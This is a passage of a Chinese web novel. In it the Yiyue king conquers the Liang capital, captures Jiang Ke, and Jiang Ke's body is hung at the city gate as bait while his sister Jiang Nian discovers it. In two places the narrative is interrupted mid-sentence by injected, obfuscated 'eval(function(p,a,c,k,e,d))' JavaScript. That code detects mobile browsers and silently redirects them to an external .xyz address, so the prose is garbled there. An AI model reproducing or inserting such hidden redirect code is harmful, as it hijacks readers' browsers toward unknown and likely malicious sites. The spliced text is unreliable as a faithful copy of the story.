“嗳!谁说不是哩,**啊——”瘦小男人说着,旁边有人听了开始泣声抹泪。 此时络腮汉子说道:“倒也没什么可哭的,谁当皇帝都一样,就像咱们大夏,也是政权更迭,如今的君主反倒把国家治理得越来越好。” 停顿了一会儿,又道:“我都以为要死啦,结果这些军兵不仅没有烧杀抢掠,反而修整受损的墙垣,已是很不错了。” 其他人闻得,把心情平了平,觉得络腮汉子的话有理,心里有了隐隐的期盼。 众人正低声议着,就见大门处肃整行来一列银甲卫,排侍于街边,拦于人前,横起手中仗棍清出街道。 街上百姓抬眼去看,一队人马从大门处缓缓行来。 那些马上之人穿戴甲胄,身形较梁人高大,深色的皮肤,褐发褐眼,有些人齐腰散着发辫,有些人头发只堪堪到肩。 夷越人,曾经被他们瞧不起的蛮夷。 尤其为首那人,发色、眸色较他人更浅,他的坐骑始终超出旁人一个马头。 他们知道,这人身份定是不一般,于是无声地把他注视着,又不敢看太久,实是那人气势太盛,让人膝盖发软。 呼延吉纵马缓行,身边随着达鲁和昆善等大将。 “葛萨呢?”呼延吉问道。 昆善回道:“葛将军带人去了皇宫,他怕梁帝跑了,想将人擒拿献给大王。” 呼延吉眉头微皱,没说什么。 一行人进了皇宫,呼延吉乘于马上,展目望去,昔日偌大的宫殿已是空荡不见人影。 八岁的他第一次进这座皇宫时,觉得路面宽大,宫墙高耸,同他们夷越很不一样,这里的人不一样,住的房子也不一样,这份陌生让他毫无缘由地生出无措和敬畏。 他被太监引到老皇帝面前,他们让他跪下,然后他就跪下,向老皇帝磕头。 他的额触碰到冰冷的地面,照出他的影。 这些梁人在八岁的他面前,很高,他需仰头才能看到他们的下颌。 而今,呵!他的马蹄把这座华丽威重的皇宫踩在脚下,原来……也不过如此。 昆善同达鲁见大王进了梁国皇宫后,熟门熟路地驱马往一个大殿行去,他们随在他身侧跟着。 空大的宫廷内只有“得得”马蹄声,死一样寂然,被人抛弃的宫室就是**,任这座皇宫躯体再庞大,它也是**。 呼延吉勒辔翻身下马,走到阶下,立了一会儿,然后拾级而上,进了其中一座寝殿,这里是梁帝处理政务的地方。 他走到桌案前,案上的笔随意摆着,没有放入笔筒,雪白的纸上落有一滩墨。 可以想到当时执笔之人离开得很突然,连笔管也来不及放回笔筒中,这纸上的一滩墨汁更是昭示着执笔之人的不防备。 这时,葛萨带手下走了进来,近到呼延吉身侧,跪答道:“禀大王,皇宫每处都找遍了,除了几个没来得及逃走的宫人,没见到梁国皇帝的踪影。” 呼延吉压着眼,没说话,只把手稍稍抬了抬。 葛萨心里一突,不知是不是他的错觉,大王好像有些不悦,站起身后,立到昆善身边,拿眼问他,昆善却只当没看见的。 此时达鲁说道:“大王,李恒应是提前跑了。” 呼延吉从桌面收回眼,在殿中四顾打量:“李恒是那种就算走,也会把笔放回笔筒的人,他这人从小受储君之礼,规行矩步,而桌案如此凌乱,应当不是躲了出去,怕是事出突然,让他自己也没料到。” 达鲁**:“臣愿带手下搜寻,定将梁国皇帝找到!” 呼延吉点了点头:“去罢。” 达鲁领命而去。 葛萨看了离去的达鲁一眼,心中不忿,若叫这人找到梁帝,岂不是既能邀功又能请赏,届时达鲁在大王面前更要压他一头。 京都郊外的一处宅院,暗淡的屋室只有窗隙洒进一片不规整的光。 床榻上躺着一人,那人渐渐转醒,“嘶”了一声,守在屋外之人听到动静,推门进来,双膝跪地。 “请陛下降罪。” 李恒揉了揉额穴,抬眼看向眼前的江轲,叹息着摇了摇头,应是他决意留在皇宫,江轲趁他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815036|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备敲晕了他,然后带离皇宫。 “你难道想我苟活偷生于世?” 江轲不答。 李恒摆了摆手:“出去。” 江轲起身,退出门外,对院中侍卫交代:“附近人手已布置好了?” “回大人的话,已安排了兵卫,有任何异动会提前告知。” 李恒从榻上起身,**于榻沿,将自己沉到黑暗里,他知道,再没有翻盘的机会,若不是江轲强行把他带出皇宫,他已成为阶下囚。 思及此,苦笑一声,他还不如李旭,怕是梁国有史以来在位时日最短的帝王。 李恒趿鞋下榻,走到房门边,打开门。 江轲赶紧上前,听候吩咐。 “这是哪里?”李恒问道。 “回陛下,在京都郊外的一处宅院,臣已召集了部下,待陛下醒来,护送陛下离开。”江轲回答道。 “我连国都丢了,还能去哪儿,这世间再无我的容身之所。” 李恒说罢看向阶下的江轲,这个一路跟随自己的江家小郎,始终守着自己不曾离去,终是松口:“好,离开。” 正说着,院外跑来一侍卫,传报道:“附近有异动,似是夷越兵往这边行来。” 江轲睛目一沉,他本是准备护皇帝离开,眼下他是走不了了。 “车马已备好,你们护陛下走。”江轲又转头对李恒说道,“臣带人前去引开他们。” “怎能叫你以身涉险,他们要找的人是我。”李恒说道。 “臣能为陛下争得一条生路,死也足矣。”江轲不敢再耽搁,对身边的护卫喝道,“还不护送陛下离开!” 侍卫应下。 李恒知道此时紧要,也不再犹豫,在护卫的环护中走出院子,最后顿下步子,回头看了一眼,说道:“你阿姐还等着你,你可不能出事,知不知道?” 江轲咧嘴一笑:“阿兄放心,轲儿不会有事。” 李恒几步走回他的身边,在他肩头拍了拍,不再言语,转身离开了。 待李恒走后,江轲渐渐收起笑,走出宅子,立时现出百来余梁卫,这些人身穿甲胄,手持兵刃。 夷越军一路杀来,梁军不敌,杀的杀,降的降,如今只剩眼前百来人。 江轲翻身上马,手持**,喝道:“斩头沥血,死战不退,随我迎敌!” 众将齐声喝应。 达鲁看着眼前百来人的兵阵,再看向阵前的年轻人。 达鲁并不识得江轲,他知道王妃是梁国江家人,兴许也听说了王妃还有一阿弟,却并不知晓眼前的年轻人就是。 在夷越,认识江轲的可能就是徽城那帮子,后来江轲到王庭为侄儿庆生,除了昆善以外,像达鲁、葛萨这等武将不入王庭,再加上江轲来去匆匆,真没几人知道他还有王妃亲弟这一重身份。 “梁帝呢?”达鲁问道。 江轲下巴微扬,说道:“要打就打,废话那么多。” 第258章 吉儿,我怕…… 达鲁搜寻梁帝,手上也只带了百来号人,并未轻松把江轲拿下。 但两方人马还是有差别,一方是得胜之师,一方是败军之将,对敌的气势就不同。 再加上夷越人本就勇猛好战,以一抵十倒不至于,以一抵二,以一抵三却是完全可以。 很快,梁军士气渐颓,展露败象。 达鲁同江轲交战三十来回合,不分高低,然而,江轲却开始应付得有些吃力,气力渐衰,而达鲁依旧往来轻松。 “束手就擒,道出梁帝下落,兴许还有一条活路。”达鲁以刀指向江轲。 江轲勒着马头,冷笑道:“想知道下落?先打败我,否则休想从我口中得知。” 达鲁见这人年纪轻轻,难得好身手,有些惜才,并不想对他赶尽杀绝,可这年轻人言语张狂,没有半点妥协的样子,他受了王令,对上必须得有个交代。 当下在空中挽出一个花刀,纵马向前,两马相交,同他再战,这一次达鲁没再留手,使出全力挥刀向江轲,战不数合,江轲身上已受多处重伤,尤其是右臂关节处,几乎见骨。 不得已换成左手使枪,右手按辔,达鲁见这人一副死战到底的架势,料他要以死全忠义,于是一刀挥来,把江轲掀于马下。 江轲一个翻滚,正待起身,长刀已抵在颈侧。 梁兵见将首被擒,也都不再战,弃了手上兵刃,降了。 江轲被押入京都大牢,这牢房本是用来关押**的,如今却用来关押梁军将士。 达鲁立在牢房前,看着身受重伤却面不改色的年轻男子,心里倒有一丝钦佩,小小年纪却有这般坚毅的信念,很难叫人轻看。 他一向不太看得起梁人,始终觉得梁人把心思都用在了算计自己人身上,有种自以为是的奸狡,当然除了王妃以外。 如今再看这位小将,亦是叫他另眼相看。 “当真不说?”达鲁问道。 江轲嗤笑一声,不答反问:“顺逆成败,唯尽臣节,你若被俘,可会道出你们王的下落?” 达鲁不语,停了一会儿,没再继续说什么,转身离开。 离开牢房后,达鲁去了皇宫,如今君王在宫中处理政务,进宫后,径直走向东宁殿,却被殿前的侍卫告知大王不在宫中。 “可知晓去了哪里?”达鲁问道。 “回将军的话,小人并不知晓。” 达鲁无法,只好立于殿前静候。 …… 呼延吉走到江家府宅前,府前立了两排带刀侍卫,见了来人俱叩胸行礼。 江府的下人俱已逃散,阔大的庭院看不到一个人影,有些寂寥。 他穿过一道垂花门,再穿过一个院落,便到了一个不大不小的院子,院子里的花架下悬有一秋千。 有一个男孩儿正荡在秋千上,先开始缓缓荡着,再然后觉着有趣,越荡越高,男孩儿身手灵活,大着胆子从秋千上站起,像一只等风振翅的鸟。 “谁许你玩这个的?!这是我的!你给我下来!”一个清嫩的声音呵斥道。 呼延吉侧头看去,就见屋中走来一个十岁出头的粉衣女孩儿,头上簪得花翠简直要闪瞎人的眼。 女孩儿捉裙碎步到秋千前,星眸一瞪,指说道:“你快些下来,还敢踩我的秋千,蛮子就是蛮子。” 秋千摆荡的幅度小了,渐渐停下,男孩儿从秋千上跳下,脸上没有半点恼怒之色,反而嬉笑道:“阿姐,你这秋千真好玩儿。” 女孩儿得意地扬起嘴角,对男孩的话语很是受用。 可待她看见座上的脚印时,又皱眉的“呀——”了一声:“你简直是个过手神仙,东西到了你手上,就失了原样。” 女孩儿拂着衣袖,指向秋千座:“擦,擦,你给我擦干净。” 男孩儿像是应声小厮一般,乖巧地攥着袖口,把座板上的泥印拭干净。 女孩一对弯弯的亲月眉这才稍缓,然后敛裙坐到秋千上,双手把住两侧垂吊的索子,轻缓缓地荡着。 “你看,秋千要这样轻轻摇……啊——”女孩儿变调的腔音响彻整个院落。 只因男孩儿使坏,从后面把秋千大力推了一把,那秋千突然窜高。 “你个小蛮子,给我停下!”女孩儿嗔喝道。 男孩儿笑着继续给女孩儿推秋千,好似不把女孩惹哭,他就不会停手。 女孩儿脸色白了白,一时间又新奇又害怕,秋千越荡越高,只剩下惊怕,女孩儿真就吓到了,连叫喊声儿都没了,最后半空中飘来一句:“吉儿,我怕……” 呼延吉看着空空的秋千,走上前,拨弄了一下,它就活了,摆荡起来。 待秋千停下时,那拨动秋千之人已进了屋室。 呼延吉扫了一眼房间,还同从前一样,没怎么变动,他坐到桌边,从茶盘拎起茶壶,试着晃了晃,里面还有水,刚将茶壶放下,丑奴进到屋里,立在呼延吉身侧。 “奴已派人找寻,未打听到梁妃殿下的音讯。” “行了,去罢。”呼延吉料定江念不在京都,想要把人找出来,如同大海捞针,并不容易,那名叫云娘的妇人怎的也无信息传报。 当初江念逃离王庭,他派阿多图前去追寻,更甚至下了斩杀江轲的命令,可想而知他当时的怒意。 是真的气着了。 他气她离他而去,他气她不信他,同时,他也恨江轲,恨他一而再,再而三地挑拨他夫妻关系。 他亦料定江念必不会随阿多图回夷越,于是让阿多图捎给她一句话,分钗断带恩情绝,云水殊途不相见。 一来,既然她绝情至此,他也要让她疼一疼方好。 二来,也有另一个目的,江念不仅仅是梁人,她还有另一个身份,便是夷越王妃,她随江轲回大梁后,他担心李恒转过头来以江念威胁自己。 若李恒以江念要挟他交出定州、宣州等大梁失地,届时,他是顾着她,还是为她妥协? 是以,他让阿多图当着江轲的面道出那番话,示意恩断义绝,她同夷越再无干系。 呼延吉想起一事,召了丑奴来,问道:“李旭呢?你们可搜到此人?” “回大王的话,奴最先带人去的前太子府,那府里早已人去楼空,没有半个人影,别说前梁帝,就是下人们也不见一个。” 丑奴回完话,见大王脸色阴沉,于是退到一边侍立。 呼延吉在江府坐了半日,方回了皇宫,就见阶下候立的达鲁。 达鲁上前行礼,然后随在呼延吉的身后进到殿内。 “找到李恒了?”呼延吉问道。 “还未寻到李恒的踪迹,不过抓到李恒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823322|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一个手下,臣将他带回,此人正在牢里。” 这一路,他们关押的梁将,有些降了,也有些誓死不降的。 达鲁说完见大王面色淡淡的,好似并不关心,也没有往日得胜后的意气风发,按说攻占大梁一直是他的心愿,如今愿望达成,却不见喜色。 就这么又过了几日,梁国百姓慢慢接受了大梁已亡的事实,而他们的生活并没有因大梁的灭亡有所**。 他们能见到的就是城中的护卫军从梁军变成了越军,仅此而已。 …… 云水村…… 村人们并不知外面战事已了,只是这么长时间过去,不见任何动静,便稍稍把紧张的心松了松。 大梁势危,江念最担心的就是江轲,而江轲被李恒派去了北面,她也就没那么忧悒了,她和云娘不像村民们那样提心吊胆,深知呼延吉不会让手下肆意乱来。 这日,江念同云娘仍是去了后山,因着昨日夜里下了一点微雨,空气里的水分很足。 前一次来时,还能见到零星的香客,这次却是人烟寥寥,整个寺庙显得荒寂无比,只有一个小沙弥在院前扫着枯叶。 那小少弥见到她二人,有一瞬间的怔愣,似是没想到这个时候还有人来烧香。 江念同云娘进到庙里,朝佛像跪拜磕头,捐了一些香油钱,然后出了寺庙漫步到林间,准备再到草庐坐一坐。 走着走着,见林间有一人,坐在一块平整的大石上。 那人似是听见响动,回过头,看见江念二人时,愣了愣,而江念和云娘看见这人时也呆了呆。 这人她们说不上认识,却有过一面之缘,正是那日几位书生中的其中一位。 “这位相公怎么没走?”江念问道。 那书生苦笑着摇了摇头:“无处可去,便留下了。”说着指了指面前的石桌,“二位娘子不如清坐一会儿,喝杯茶水。” 江念同云娘本也无事,道过谢便坐下了,书生替她二人倒上茶水:“茶有些凉了,莫要见怪。” 于是,三人便于这枯木老林中闲坐喝茶,散漫地说着话,说着说着便说到了夷越进犯梁国一事上。 “你是说,夷越军已攻占了大梁都城?”江念问道。 书生点头:“不错,书院也有几人像小生这样没去处的,有一人才从都城回来,带回的话就是如此,说梁军不敌,守城失败,夷越军破了城门。” 云娘在一边听后,心情有些复杂,毕竟她是梁人,这里是生她养她之地,于是开口问道:“所以说,梁国……” 书生叹道:“是,梁国亡了。” 江念脑子里塞了好些问题,争抢着问道:“烦问一下,眼下城中是什么境况?” “夷越王带兵驻入都城,皇帝不知所踪,城中百姓倒是相安无事,照常过日子,呵!恢复了往日的热闹。” 书生的语气低迷,带着对百姓们不争的讥诮。 对大多数人而言,只要日子能过,谁当君主都一样,可这位书生看起来却是忧思满面,位卑未敢忘忧国,却又无能为力。 江念了解了大概,只是江轲如今在北面,不知他是个什么情况。 正在沉思之时,又听那书生说道:“对了,夷越人把咱们大梁的一位将领抓了,好像是江家人……” 第259章 挂于城门的尸身 江念正想着被李恒派去北面的江轲,可书生的下一句话如同一道雷霆劈下,让她不能动弹。 “你刚才说他们抓住了一位江家人?”江念急声问道。 书生见女子面色变了,直言道:“听说是江家的那位小郎君。”书生叹息道,“这江家也是惨,先是被前任皇帝抄家,好不容易新帝登基,恢复了尊荣,这才多久,又败落了,江家唯一的小郎还被扣押大牢,生死未卜。” 书生说罢,见眼前女子面色很难看,关心道:“这位娘子,你可还好?” 江念道了一声无事,匆匆离去,云娘赶紧随在江念身后,两人一道下了山。 江念不停地告诉自己,呼延吉不至于置江轲于死地,毕竟他二人一起长大,这么想着,脑中又划过阿多图追到他二人时,准备就地斩杀江轲。 不会的,那时呼延吉在气头上,才下了那样的王令,他多少还是会顾及江轲这个儿时玩伴兼兄弟。 就算不顾及江轲同他儿时的情谊,他也会顾及她罢,她是他的妻,他会顾着的,会顾着的…… 他不是说,他一向尊她,爱她么? 哪怕他说出再不相见的话,她也还是相信,他不会绝情至此,她了解他,一定是气她不辞而别。 江念想到这里,心情稍稍平复,现下她要赶紧回京都,请见他一面,大不了她向他赔不是。 她已经失了父母,不能再失去唯一的亲弟。 江念和云娘把外界的消息告诉村长,村长思索一番,既然战事已停,也就没必要再继续堵住村口的路。 于是召集村人花了一整日的工夫把峡道疏通。 次日天还未亮,护卫将马车套好,秋水理好行当,扶着江念上了马车,云娘跟随一起,趁着不明的天光离开了云水村…… …… 彼边,一座府衙内,两名男子正在厅上对饮。 其中一人正是呼延吉手下大将,葛萨,坐于他对面之人是他的副将。 只见那副将说道:“属下就是替将军抱不平,当初攻城之时,将军出力最多,可谓是不顾生死,就因着达鲁抓了一名梁人,大王就对他有些不一样,时常召他到跟前,却把将军晾在一边。” 葛萨连日来心中烦闷,自打攻下梁国都城后,大王对他好似刻意冷着,后来达鲁抓了梁帝身边之人,再没人记得他才是攻入梁都第一人。 一众军将皆以达鲁为首,连昆善都同他更为亲近,这叫他怎么甘心。 此时葛萨已有几分酒意,听副将此语,先是凝目道:“慎言,大王岂是我等妄议的。” 那副将说道:“属下并非妄议大王,而是气那达鲁,一味奉上,使些小人手段,专抢将军您的风头,有意同您过不去,大王定是受了他的蛊惑才把将军晾在一边。” 葛萨也气恼,他抢先带人进入皇宫,就是为了擒获梁帝,到大王跟前邀功,结果一无所获不说,还让达鲁抢了功劳,反压他一头。 副将说着,替葛萨满上酒盏:“属下倒有一个法子,可叫将军重得大王青眼。” 葛萨双颊酡红,两眼微眯,问道:“什么法子?速速说来。” “咱们大王一心想要攻占大梁,如今大梁已入彀中,王仍是愁眉不展,将军道这是为何?”副将问道。 葛萨是个急性儿,哪里会跟人一递一答,当下咂嘴道:“废什么话,直接说!” 副将不再绕弯子,直言道:“无非就是还没抓住梁帝,您想啊,这梁帝一日没抓住,大王心里就一日不得安宁,虽说那人已构不成威胁,可到底是个肉中刺,必须得拔了才好。” 葛萨很是认同,只是想抓这人谈何容易:“你的意思是,让我找到梁帝,如此一来,既能解大王之忧,又能重得大王器重。” “正是。” 葛萨摆了摆手:“这话说来容易,做起来可难,如今谁不想找梁帝?谁不在找梁帝?却是一无所获,咱们能想的,他达鲁想不到?” 副将嘿笑几声,有意将声音压低:“找自然是不好找,但可让他自己送上门来。” “自己送上门?” “正是。” 葛萨觉着有些意思,又问:“你说说看,如何让梁帝自己送上门。” 副将说道:“梁帝虽说躲了起来,定是没走远,这京都城中定有他的眼线。” “不错,这又能如何?” 副将嘴角扬起,眼中尽是算计和讨好:“那梁帝的心腹不是被下到牢里了么,咱们只需把他杀了,悬其尸身倒吊于城门,暴晒个三日三夜,用这尸身引其同类来,那些梁国暗探,必会把消息递送出去,咱们再在城门前安插人手,届时只需观得谁人形迹可疑,将人捉住,审问一番,不信找不出梁帝的下落。” 葛萨听罢,拍案叫好:“好一条妙计,只是……此人是达鲁擒获的,想要取人怕是不易。” “一个梁人,拿他还不是将军一句话的事。” 这话叫葛萨心中受用,点头道:“这样,你持我令牌,亲自去狱中取人,此事若办成了,少不了你的功劳。” 副将忙不迭地应下,当下酒也不吃了,领了令牌径直去了牢房。 …… 潮湿阴暗的牢房内,两个夷越兵往牢里看了一眼,其中一人喊了一声:“嘿!” 不见任何反应。 “怕不是**?”那人出声道。 “就是不死,离死也不远了,你看他身上那么些刀伤,好几处都见骨了,撑不了多久。”另一人掂了掂手里的钥匙,又道,“就为着这一人,叫咱们在这里看守,不过待此人一死,咱兄弟二人就不必在这腌臜地待了……” 两人的声音随之渐远,而牢房里的人仍是一动未动,胸口的起伏越来越弱。 两名守牢人刚走出牢道口,来了一人,是葛萨大将手下的副将,纳尔。 两人赶紧迎上,恭声道:“纳尔副将。” 纳尔“嗯”了一声,进入牢中:“那梁人呢?” “在牢里关着。”兵卒回道。 “带我去看看。” 于是,两名兵卒在前引路,行到一片牢房前停下。 纳尔往铁牢里看了一眼,冷声道:“**?” 兵卒回答道 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“啧啧——你这脑袋开了瓢,赶紧到街上找个医馆包扎一下。”其中一人说道。 受伤之人满脸血污,用手抹了一把脸,说道:“还包扎什么?!赶紧报知达鲁将军,就说葛萨强行把梁人带走,我这会儿受了伤正好,有个说辞。” 说着奔出牢房,另一人紧随其后。 …… 回途中,江念话语不多,云娘知她忧心,也没多说话,偶尔宽慰两句。 “你别太担心,大王不是那等狠心人,这会儿说不定小郎君已放出来了呢,正在府里等娘子回。” 江念听后,点头道:“姐姐说的是,那消息定是有些滞后,他一定会放了轲儿,兴许把人扣押在府里,等我到他跟前好言央求一番,轲儿就没事了。” 在云水村的这段时日,她想转了,江家灭门一事,她不该不信他的,等见了他后,把话说开,他若还生她的气,她就赔不是,赔笑脸,总能把他哄好。 马车内大多时候是沉闷的,车外人烟稀少,更是安静,能听到车轮辘辘。 渐渐的,可能是快近都城的原因,车外有了其他的车马,还有一些轻装简行的路人。 突然,马车遽停,车内的江念等人身子往前一倾。 “怎么回事?”秋水朝外问道。 过了一会儿,护卫的声音隔帘传来:“娘子,咱们车轮有东西卡住了,小人这就修理。” 因着赶路,马车在路上几乎没有停过,这会儿车上的几人也有些窝闷,遂趁着间隙下了马车。 此时有人从城门方向来,打江念几人身旁经过。 “哎哟——真是惨呐!造孽哟!” “啧,那人**罢!” “怎么不死,跟那被宰后倒挂沥血的鸡儿似的。” “说来也是叫人唏嘘,你们猜挂于城门的尸身是谁?” “难不成是……” “就是那江太傅之孙,江家小郎,江轲。” 几人正说着,面前突然冲来一个人影…… 第260章 那梁人姓江 几人正私议着刚才看到的惨状,无不唏嘘嗟叹,那城头倒挂暴尸的正是他们的将军,江家的小郎君。 有些梁人不忍多看,匆匆几眼,惶惶离去。 几人并未把声音压低,还待再说,一个人影掠了来。 “你们说谁挂在城头?!” 突兀而出的声音让几人停下了脚步,转眼看去,发现是一女子,女子正脸色惨白地将他们看着,本是一张姣丽的容貌,此刻腮颊上的肉像是挂不住似的,打着颤。 而她身后紧跟着两人。 一矮个热心道:“是江家的小郎君,咱们大梁有名的江家。” 另一阔脸之人又道:“江家当真是……诶!曾经那样的金玉公子……尸身被人羞辱,死后不得安宁,不是我说,这些夷越人就是畜生,没有人性!” “嘘——你不要命啦!”矮个之人赶紧打断阔面男子的话。 江念耳中嗡鸣,身上无一处不叫嚣着“不可能!”,她的声音已变了调,是个人都能听出她腔子里前言不搭后语的凌乱。 “不会……我阿弟……倒挂着的**……” 云娘和秋水忧心地扶着江念。 “妹子……”云娘轻唤一声,她不敢大声,江念整个人看起来一碰就会垮掉。 那几人见此,心道,这女子只怕同江家有些渊源,不然不会如此失态,于是劝说女子的同伴。 “城门你就别去了,那明显就是个套儿,以江家郎君的尸身为饵,诓人去哩!好钓大鱼。”阔脸男人直言道。 云娘和秋水点头道谢,那几人不再停留,继续赶路。 云娘思索着,大梁都城是不能去了,真是没料到夷越王如此狠绝,连自己的妻弟都下手,也对,她曾在王庭闻得,他把自己的母族都快杀绝了,区区一个没有血缘的妻弟又当得了什么。 若江念回到他的身边,怎能有好果子吃,只怕后半生要受尽他的磋磨,正要劝说改道而行,不承想,江念疯了一般往一个方向冲去。 云娘和秋水都来不及反应。 车马停歇处离城门口本就不远。 喉管好像破了洞,灌了风,漏了气,费劲吃力地喘着,黄惨惨的城墙是衬景,那衬景上有一点黑,她跑得越来越近,黑点清晰成人形。 她开始腿脚发软,整个人扑倒在地,因步子太急,往前擦出一段,站也站不起来,终于,站起了,又往前跑了一小段距离。 看清了…… 城门前架起两支杆,两条粗圆的麻绳一端系在杆头,另一端汇结一处,结节束着一双脚,就那么倒吊着,像是人埋在空气里,长出了两根麻黄的枝杈。 她的阿弟,脸上的颜色完全变了,那不是活人的颜色。 其中一个杆下立着几名夷越侍卫,不知说笑着什么,不时拿棍敲一敲立杆,立杆颤动,倒吊的人就随摆起来,像个物件一样,摆啊摆啊…… 她颤跪在地,胸口的血气哽得她要窒息,翻腾向上,窜撞着,控制不住地作呕,眼睛针扎一般,再然后有什么泛了上来,挤满眼眶,她知道,那不是泪,是黏的。 “娘子!” “妹子!” 有人说话,可是隔了好远,眼前漆黑一片,看不见,她什么也看不见,只有嗡嗡的人声从好远传来,他们在说什么。 “快,把娘子扶起来……” 是秋水的声音,接着又响起云娘慌急的声音:“不能在这里待了,我们需快些离开!” “走,走,快走!” 之后她被一人打横抱起,再之后……便失了意识…… …… 那两名看守牢房的兵卒见梁人被纳尔副将带走,还用葛萨的令牌砸伤了他们其中一人。 当下觉得事情不简单,半刻不敢耽搁,寻到达鲁将军在京暂住的宅院,结果却被告知达鲁将军不在府里。 “将军去了哪里,我等有急事禀报。” 门卫见那兵卒满脸血污,语调惊惶,回说道:“将军去了大梁皇宫,你们去那里找他。” 两人又忙奔向皇宫。 这是达鲁第六次抬眼,半炷香内六次抬眼,大王都是一个表情,低沉着眼,嘴角微抿,双手交合在身前,靠在椅背上。 而坐于下首的昆善仍自顾自地梳理着问题。 譬如,国都是否搬迁,年号是否更改,还有至今逃窜在外的梁帝,等等大小事。 然而无论他说什么,大王自始至终都是一个样子,全不像在夷越那样,认真听完他们的奉述,再给予回应。 现在的他像魂魄游离在外,只有肉身坐在这里。 昆善住了嘴,安静下来,殿宇内没了人声,他向上望了一眼君王,见其仍是锁着眉,不知在思着什么,好像跳出了眼前的世界,昆善和达鲁对上,自打他们攻入梁国都城后,大王就是这样。 他和达鲁皆知大王精神为何颓靡,却又不能开口劝慰,梁妃殿下一日找不到,大王就会一直这么消沉下去。 在这一片静默中,门外传来通报声。 “宫外有人请见达鲁将军,来人话语急促,似有要事。” 呼延吉这才抬起眼,生出一点说不清的盼愿,然后看向达鲁。 达鲁起身:“大王容臣去看一看。” “既是紧要之事,你让那小兵进来,我也听一听。”呼延吉说道。 昆善心道,他一个大将军刚才在那儿说得唾沫横飞,大王连个声儿都不应,眼风也不赏他一个,现在不过一个小兵卒,王却召他近前,要听他说话。 通传之人应下,急急去了宫门前,没一会儿将两名兵卒带到殿内。 那二人行到殿中,一立定就跪下,他们以为见得是达鲁将军,谁知见得是这位。 达鲁见其中一人狼狈不堪,问道:“什么紧要之事?” 那名头破之人回道:“刚才纳尔副将拿着葛萨将军的令牌前来,说要提审那名梁人,小的们回说先报知将军,谁知纳尔副将砸伤了小的,把梁人强行带走了。” 达鲁听后心里不快,葛萨一直有意同他抢功,大家各行其是,他并不愿同他争抢,偏这人好似盯咬住他,非要争个高下,好不让人生恼。 达鲁向上回禀道:“葛萨将军提审之人,便是臣追捕梁帝时捉拿的那名年轻将军。” 呼延吉心中一动:“年轻将军?” “是。” “什么模 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破头的兵卒一怕担责,二来,他受了纳尔一记打,心里记恨,遂把话变了变,却也不算瞒报,听他说道:“那名梁人并未带去提审,路上来时,听行人说……那梁人被纳尔副将拉去城门前,现被倒挂于城头暴尸……” 兵卒回完话,就见大王已飞步出了殿室,两位大将紧随其后,于是他们也跟了上去。 行路间,达鲁同昆善并马急驰,并且不时拿眼看他。 昆善知道达鲁要问什么,稍稍将马步放缓,也不绕弯子,说道:“那梁人姓江……” …… 纳尔办完差事,回了临时住所。 因刚占据梁都不久,他们这些武将都是随意找地方住,好些人住的地方就是办公之所。 纳尔刚迈进院门,还没走上几步,心道,他既然把事情办了,需得向上报知,好让他们大人知晓他正尽心尽力地替他办差。 于是乘马去了另一处府邸。 葛萨听自己的副将说已将梁人吊于城门,点了点头:“正巧当下无事,去看看。” 纳尔巴不得一声,自己忙活一场,能让上司亲眼见一见再好不过,于是两人出了宅院,乘马往城门口去了。 立杆下的民众越聚越多,大多数人专为看热闹,也有些人不忍,愤然离去的,还有些立在人群里抹泪儿。 他们的国家亡了,他们的将军被人羞辱,可他们不敢反抗,只能在心里恨骂夷越贼寇。 这样羞辱他们的将士,这就是在向梁人**,想叫他们害怕,让他们臣服。 呸!天杀的夷越蛮人,假模假样帮他们修建屋宇,他们还以为这些人是好的,原来都是在做戏,没几天就原形毕露。 百姓们趁夷越兵不注意,低声道:“咱们梁人以后的日子怕是难喽……” “可不是,以后梁人就是被夷越人踩在脚下的泥,休想有翻身的机会,他们将咱们的将士暴尸于城门不就是**么!” “嘘——轻些声儿,你们怕是不知道,这上面挂的是那位的心腹,这是想把那位引来哩!” 人群中的低泣声越发止不住…… 第261章 说,她在哪里? 围观百姓纷纷小声议论,亦有人不忍哭泣,哭这位江家小郎君,亦哭梁人日后艰难的处境。 正在这时,人群开始骚动,有人高喝:“让开!让开!” 梁人们慌忙避让,抬眼去看,就见一身高体壮之人在左右围护下行来,止于立杆之下,双手背于身后,威立于众人前,先是抬头斜了一眼倒吊之人,嘴角扬起一抹满意的笑,再将目光放到围聚的百姓中,眼神瞬间犀利起来。 葛萨对副将纳尔睇了一个眼色,纳尔会意,招来一名手下,问道:“有无可疑之人?” 那些兵卒本在杆下闲言戏语,见将军亲自来,早把懒散态度收起,认真回道:“禀大人,并未见到什么可疑之人。” 葛萨听后并不言语,纳尔趁机说道:“这梁人才吊起,用不了多久定能锁住可疑之人。” 正说着话,一阵马蹄声响来,一直响到他们面前。 葛萨展眼一看,见了马上之人,唬得立马上前跪迎:“臣叩见大王……”话音未落,一条蛇影掠来,整个人被掀飞出去,重重砸到地面,颈上火辣辣的。 围观之人全懵了,他们认识这人,是夷越王,只是他为何出鞭打向自己的臣下。 葛萨艰难爬起,抬眼间,就见君王两眼盯着立杆下倒吊之人,面色铁青一片,接着又是一声怒喝:“还不放下来!” 兵卒这才反应过来,慌忙将那梁人降到地面,昆善早已滚鞍下马,奔了过去。 他同崔致远、阿多图一样,同为大王近臣,是以,大王的事情比旁人知道得多一些。 